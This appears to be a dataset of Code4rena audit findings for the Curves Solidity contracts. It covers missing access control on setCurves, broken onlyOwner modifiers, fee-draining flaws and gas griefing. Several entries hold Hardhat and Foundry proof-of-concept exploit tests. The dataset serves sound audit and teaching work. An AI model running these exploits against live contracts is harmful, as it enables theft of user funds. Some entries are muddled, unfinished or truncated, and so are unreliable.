xanoutas/solidity-security-findings huggingface dataset:
Exist overflow in _transferFees when price == 0  
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L231
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L263-L280
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L404-L420


# Vulnerability details

## Impact
Detailed description of the impact of this finding.

## Proof of Concept

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L231

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L263-L280

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L404-L420

In the scenario where buyCurvesTokenWhitelisted is initially called with amount and curvesTokenSupply[curvesTokenSubject] both set to 0, and curvesTokenSubject is equal to msg.sender, followed by a call to _buyCurvesToken, there's a possibility to bypass the revert statement in the code. This happens because when supply is 0 and curvesTokenSubject is not equal to msg.sender, the check at this line (https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L265C29-L265C61) doesn't trigger the UnauthorizedCurvesTokenSubject revert.

Subsequently, when calculating price in _buyCurvesToken, it becomes 0. If this value is then used as input for the _transferFees function, it can lead to an overflow issue. The proposed fix checks if the price is greater than zero before proceeding with the fee transfer, thereby cause the potential overflow.

    function _buyCurvesToken(address curvesTokenSubject, uint256 amount) internal {
        uint256 supply = curvesTokenSupply[curvesTokenSubject];  // get supply = 0

        if (!(supply > 0 || curvesTokenSubject == msg.sender)) revert UnauthorizedCurvesTokenSubject(); // when supply = 0 and curvesTokenSubject =!= msg.sender
        uint256 price = getPrice(supply, amount);
        (, , , , uint256 totalFee) = getFees(price);


        if (msg.value < price + totalFee) revert InsufficientPayment();


        curvesTokenBalance[curvesTokenSubject][msg.sender] += amount;
        curvesTokenSupply[curvesTokenSubject] = supply + amount;
        _transferFees(curvesTokenSubject, true, price, amount, supply);


## Tools Used
manuae review
## Recommended Mitigation Steps
use


## Assessed type

Under/Overflow
Missing Access Control on `setCurves`
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/d6e4ff080ec383a85d80fd5af9771dacda7b50a7/contracts/FeeSplitter.sol#L35


# Vulnerability details

## Impact
In the `FeeSplitter`, the `curves` value can be changed by anyone, as a result, `curves` related logic such as balance and supply can be manipulated.

## Proof of Concept
```solidity
    function setCurves(Curves curves_) public { //@audit public access
        curves = curves_;
    }
```

```
    function balanceOf(address token, address account) public view returns (uint256) {
        return curves.curvesTokenBalance(token, account) * PRECISION;
    }

    function totalSupply(address token) public view returns (uint256) {
        //@dev: this is the amount of tokens that are not locked in the contract. The locked tokens are in the ERC20 contract
        return (curves.curvesTokenSupply(token) - curves.curvesTokenBalance(token, address(curves))) * PRECISION;
    } 
```

Any place using `balanceOf` or `totalSupply` can be affected:
- updateFeeCredit
- getClaimableFees
- onBalanceChange
- addFees



## Tools Used
Manual

## Recommended Mitigation Steps
Adding access control on the `setCurves`.


## Assessed type

Access Control
Anyone can set `curves` address in FeeSpliter.sol
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L35


# Vulnerability details

## Impact
Lack of access control in [FeeSpliter::setCurves()](https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L35)makes it vulnerable for attacker to set it as a malicious address. 
```solidity
    function setCurves(Curves curves_) public {// @audit no access control
        curves = curves_;
    }

```
## Tools Used
Manual review
## Recommendation 
```diff
--    function setCurves(Curves curves_) public {
++    function setCurves(Curves curves_) public onlyOwner {
    
        curves = curves_;
    }

```


## Assessed type

Access Control
No Access control given to the function that set curve in setfee.sol;
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35


# Vulnerability details

## Impact
`FeeSplitter::setCurve` is not guarded which can cause a malicious/grieffing user to set it to an abitrary address temporarily causing DOS for normal users 
## Proof of Concept
```
 function testsetCurveByRandomAddress() external {
        FeeSplitter Feespliter = new FeeSplitter();

        vm.prank(address(0x01));
        Feespliter.setCurves(Curves(address(0x02)));
        //random call to get a view function but get a revert
        vm.expectRevert();
        feespliter.totalSupply(address(curves));
    }
```
```
 testCurve::testsetCurveByRandomAddress()
    ├─ [770297] → new FeeSplitter@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
    │   └─ ← 3703 bytes of code
    ├─ [0] VM::prank(0x0000000000000000000000000000000000000001)
    │   └─ ← ()
    ├─ [22475] FeeSplitter::setCurves(0x0000000000000000000000000000000000000002)
    │   └─ ← ()
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← ()
    ├─ [5235] FeeSplitter::totalSupply(Curves: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
    │   └─ ← EvmError: Revert
    └─ ← ()
```

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

## Tools Used
manual Review and foundry
## Recommended Mitigation Steps:
FeeSplitter::setCurves should be guarded to allow only authourized account to access it in order to avoid users been denied of information and interraction when needed.


## Assessed type

Access Control
[H6] setCurves in unprotected
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L35


# Vulnerability details

### Impact

Anyone can set `Curves` contract variable in `FeeSpliter` contract.

### PoC
This dangerous function is unprotected. 

    function setCurves(Curves curves_) public{  
	    curves = curves_;  
    }

### Recommendation

Just remove that function.  Curves should be set as an immutable if possible to save gas.   


## Assessed type

Access Control
[H3] Incorrect Fee Per Token Calculation due to not inclusion of ERC20 balance
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L39-L41
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L43-L47


# Vulnerability details


### Impact

* Incorrect calculation of fees
* Token holders unable to claim fees.  
* Contract `FeeSplitter` ran out of funds


### Proof of Concept

  When  `Curves.sol` add fees to `FeeSplitter` to reward token holders `cumulativeFeePerToken` is calculated as

     data.cumulativeFeePerToken += (msg.value * PRECISION) / totalSupply_;

   This is just the fees divided by the number of tokens multiplied by the precision to avoid rounding loses.
   
   However,  `totalSupply`  is substracting the minted ERC20, that are in the balance of Curves contract

    function totalSupply(address token) public view returns (uint256) {
        //@dev: this is the amount of tokens that are not locked in the contract. The locked tokens are in the ERC20 contract
        return (curves.curvesTokenSupply(token) - curves.curvesTokenBalance(token, address(curves))) * PRECISION;
    }


   The problem here is that `curves.curvesTokenBalance(token, address(curves)` is the number of circulation ERC20 tokens that you transferred to Curves contract at the time `withdraw()`  .  These token should be taking into account as well

Also you need to take into account ERC20 in balance function

    function balanceOf(address token, address account) public view returns (uint256) {
        return curves.curvesTokenBalance(token, account) * PRECISION;
    }


If you let you design as it is it means that any user will perfer to call  `deposit()`   to increase your balance and then `claimFees()`.   
Also as fees are incorrectly calculated the last token holder will not be able to claim fees as the contract will not have enough ETH.


### Recommendation


The solution is to modify `balanceOf` taking into account ERC20 

    function balanceOf(address token, address account) public view returns (uint256) {
        return curves.totalTokenBalance(token, account) * PRECISION;
    }

where `totalTokenBalance` is a new function in curve where you hold ERC20 balance plus `curves.TokenBalance(token,account)`  

Also `totalSupply` is simple

     function totalSupply(address token) public view returns (uint256) {
          return curves.curvesTokenSupply(token) * PRECISION;
    }


## Assessed type

Math
Wrong implementation of onlyOwner and onlyManager modifier breaks access control
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Security.sol#L8-L15


# Vulnerability details

## Impact
The modifier in `security.sol` is implemented incorrectly. It passes checks even if condition is false because of no require statement.

```solidity
    modifier onlyOwner() { //@audit critical this dont' work need require statment
        msg.sender == owner;
        _;
    }
    modifier onlyManager() {
        managers[msg.sender] == true; //@audit critical this dont' work need require statment
        _;
    }

```

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/Security.sol#L7C1-L17C1

## Proof of Concept
The function testingOwner() and testingManager() works with any address that calls these functions.

```solidity
// SPDX-License-Identifier: MIT
//@audit inscope
pragma solidity ^0.8.7;

contract Security {
    address public owner;
    mapping(address => bool) public managers;

    modifier onlyOwner() {
        msg.sender == owner;
        _;
    }

    modifier onlyManager() {
        managers[msg.sender] == true;
        _;
    }

    constructor() {
        owner = msg.sender;
        managers[msg.sender] = true;
    }

    function setManager(address manager_, bool value) public onlyOwner {
        managers[manager_] = value;
    }

    function transferOwnership(address owner_) public onlyOwner {
        owner = owner_;
    }
}
contract AsdfTest is Security{
    bool public ownerToggle;
        bool public managerToggle;
    //@audit should have returned false if it was checking it  which is default value

    function testingOwner() external  onlyOwner returns(bool works){
        ownerToggle = true;
        return true;
    }
    //@audit should have returned false if it was checking it 
    function testingManager() external  onlyOwner returns(bool works){
        managerToggle = true;
        return true;
    }

}

```

## Tools Used
Manual review
## Recommended Mitigation Steps
Use require or if/revert() statment
```diff

    modifier onlyOwner() {
--        msg.sender == owner;
++      require(msg.sender == owner;);
        _;
    }

    modifier onlyManager() {
--        managers[msg.sender] == true;
++      require(managers[msg.sender] == true;);
        _;
    }

```


## Assessed type

Access Control
Malicious User can clear all fees with new addresses
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80-L87


# Vulnerability details

## Impact
The ``FeeSplitter`` enables permissionless claiming of fees, however there is critical factor which has been omitted in the design of this contract. 
Any user can transfer their tokens to a new address and keep claiming the max amount of fees they can, across multiple tokens on the curves contract
## Proof of Concept
The steps involved in these are straight forward 
- Purchase some amount of different tokens
- Call ``curves.transferAllCurvesTokens()`` to send all tokens to another address, address1
- use address1 to call ``FeeSplitter.claimFees()``
- The function ``claimFees`` calculates the fees for every new address as a new user, awarding them the full fees set at ``data.cumulativeFeePerToken`` regardless of when their balance increased. 
- After successfully getting the fees, the attacker transfers all tokens to a new address, address2.
- Repeat from step two. 


The cause of this issue is the fact that, the time of balance increase is not recorded when transfers happens, and a new user gets the full redeemable fee for their current balance . This is a major issue as any user has thousands of addresses at their disposal. 

```solidity

    function updateFeeCredit(address token, address account) internal {
        TokenData storage data = tokensData[token];
        uint256 balance = balanceOf(token, account);
        if (balance > 0) {
            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
            data.unclaimedFees[account] += owed / PRECISION;
            data.userFeeOffset[account] = data.cumulativeFeePerToken;
        }
    }

    function getClaimableFees(address token, address account) public view returns (uint256) {
        TokenData storage data = tokensData[token];
        uint256 balance = balanceOf(token, account);
        uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
        return (owed / PRECISION) + data.unclaimedFees[account];
    }

    function claimFees(address token) external {
        updateFeeCredit(token, msg.sender);
        uint256 claimable = getClaimableFees(token, msg.sender);
        if (claimable == 0) revert NoFeesToClaim();
        tokensData[token].unclaimedFees[msg.sender] = 0;
        payable(msg.sender).transfer(claimable);
        emit FeesClaimed(token, msg.sender, claimable);
    }
```


## Tools Used
Manual Review

## Recommended Mitigation Steps

It is recommended to implement a timed balance change contract to handle the amount of fees a new user can access. Or implement a snapshot and merkle tree claim system. 


## Assessed type

Other
Any user can increase gas fees for arbitrary address when he is interacting with platform/protocol.
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L327-L336


# Vulnerability details

## Impact
Address/User who has been attacked now has greatly bigger fees when he is interacting with the platform.

I've submitted a similar issue, but this one concerns a different part of the codebase. 
The other one was concerned with the looping in a ```transferAllCurvesTokens``` function, and this one in aimed at looping in ```_addOwnedCurvesTokenSubject``` function.

Since this attack is somewhat unlikely to happen, I give it MEDIUM severity.

## Proof of Concept
In the unit test listed here, which you can paste in ```curves.ts```, shows how any user can attack any address and hardened his usage of the protocol by increasing his gas fees with every transaction.

Attack here is performed by transferring non-existent ```curvesTokenSubject```s with ```amount = 0```.

With this example we have increased users' gas fees when interacting with the protocol by 10x every time ```_transfer``` is invoked in ```Curves``` token which is often.

To be more concrete, in this PoC we can see that we've increased the buying process of a token by 10x for some address we attacked.
```
    it("Malicious user performs DoS on any user by transferring tokens he does not have", async () => {

      const BCTTX = await testContract.buyCurvesToken(owner.address, 1, { value: ethers.utils.parseEther("10") });
      
      let receipt = await BCTTX.wait();
      console.log("Gas used: " + receipt.gasUsed.toString()); // 142,201

      for (let i = 0; i < 500; i++) {
        // Get a new wallet
        let wallet = ethers.Wallet.createRandom();
        // we transfer non-existent tokens to increase friends subjects array.
        await testContract.transferCurvesToken(wallet.address, friend.address, 0);
      }

      // friend tries to transfer all of his curves tokens to owner
      const BCTTX2 = await testContract.connect(friend).buyCurvesToken(owner.address, 1, { value: ethers.utils.parseEther("10") });
      receipt = await BCTTX2.wait();

      console.log("Gas used: " + receipt.gasUsed.toString()); // 1,434,332

    }).timeout(1000000);
```
## Tools Used

## Recommended Mitigation Steps





## Assessed type

DoS
Missing ACL in setCurves function can lead to draining of funds in FeeSplitter
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L35-L37
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L39-L41
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L80-L87
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L73-L78
https://github.com/code-423n4/2024-01-curves/blob/main/contracts/FeeSplitter.sol#L63-L71


# Vulnerability details

## Impact
In the *FeeSplitter* contract, the lack of ACL in the `setCurves` function allows anyone to change the curve token address. This way, attackers can take advantage of this to improperly drain the native tokens that the *FeeSplitter* contract has.

```solidity
    function setCurves(Curves curves_) public {
        curves = curves_;
    }
```

In the `claimFees` external function, the user's fee percentage will be proportional to their balance, therefore, the `balanceOf` function is used to calculate the amount of claimable fees.

```solidity
    function claimFees(address token) external {
        updateFeeCredit(token, msg.sender);
        uint256 claimable = getClaimableFees(token, msg.sender);
        if (claimable == 0) revert NoFeesToClaim();
        tokensData[token].unclaimedFees[msg.sender] = 0;
        payable(msg.sender).transfer(claimable);
        emit FeesClaimed(token, msg.sender, claimable);
    }
```

```solidity
    function updateFeeCredit(address token, address account) internal {
        TokenData storage data = tokensData[token];
        uint256 balance = balanceOf(token, account);
        if (balance > 0) {
            uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
            data.unclaimedFees[account] += owed / PRECISION;
            data.userFeeOffset[account] = data.cumulativeFeePerToken;
        }
    }
```

```solidity
    function getClaimableFees(address token, address account) public view returns (uint256) {
        TokenData storage data = tokensData[token];
        uint256 balance = balanceOf(token, account);
        uint256 owed = (data.cumulativeFeePerToken - data.userFeeOffset[account]) * balance;
        return (owed / PRECISION) + data.unclaimedFees[account];
    }
```


```solidity
    function balanceOf(address token, address account) public view returns (uint256) {
        return curves.curvesTokenBalance(token, account) * PRECISION;
    }
```

Therefore, if the address of the `curves` variable is changed to an address of a malicious contract, it could return the balance equal to zero for all account balances other than the attacker's, thus being able to drain all native funds.

## Proof of Concept

This test case can be used to validate the vulnerability:
```typescript
it.only("Proof of Concept", async () => {
      await mockCurveToken.mint(owner.address, 1000);
      const MockCurvesForFee2 = await ethers.getContractFactory("MockCurvesForFee2");

      mockCurves2 = await Mock
FeeSplitter contract can be drained via internal or external token transfers
Audit: 2024-01-curves-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L71
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L73-L78
https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L321-L322


# Vulnerability details

## Impact

Calculation of the claimable fees in the `FeeSplitter` contract, done by functions [updateFeeCredit](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L71) and [getClaimableFees](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L73-L78), depends on the current token balance of the claimer in the `Curves` contract. Thus, it is critical that [updateFeeCredit](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L63-L71) is called on any token balance change. While this indeed happens in the function [_transferFees](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L218-L261), by [calling onBalanceChange()](https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L247), this function is called only when tokens are being bought or sold. But token balance changes also when the tokens are being transferred, either internally within the `Curves` contract, or externally between the `Curves` contract and the ERC20 contract. This changes of token balances are not propagated to the `FeeSplitter` contract; as a result the claimed fees can be inadvertently or maliciously manipulated via internal or external transfers, and lead to a complete draining of funds from the `FeeSplitter` contract, as demonstrated by the PoC below.

## Proof of Concept

To execute the PoC, place the following test, `audit-steal-fees-via-transfers.ts`, into [test/](https://github.com/code-423n4/2024-01-curves/tree/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/test):

```ts
import { expect, use } from "chai";
import { solidity } from "ethereum-waffle";
use(solidity);
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
//@ts-ignore
import { ethers } from "hardhat";
import { type FeeSplitter, type Curves } from "../contracts/types";

export const deployCurveContracts = async (): Promise<[Curves, FeeSplitter]> => {
  const CurvesERC20Factory = await ethers.getContractFactory("CurvesERC20Factory");
  //@ts-ignore
  const curvesERC20Factory = await CurvesERC20Factory.deploy();
  const FeeSplitter = await ethers.getContractFactory("FeeSplitter");
  //@ts-ignore
  const feeSplitter = await FeeSplitter.deploy();
  const TestContract = await ethers.getContractFactory("Curves");
  //@ts-ignore
  const testContract = await TestContract.deploy(curvesE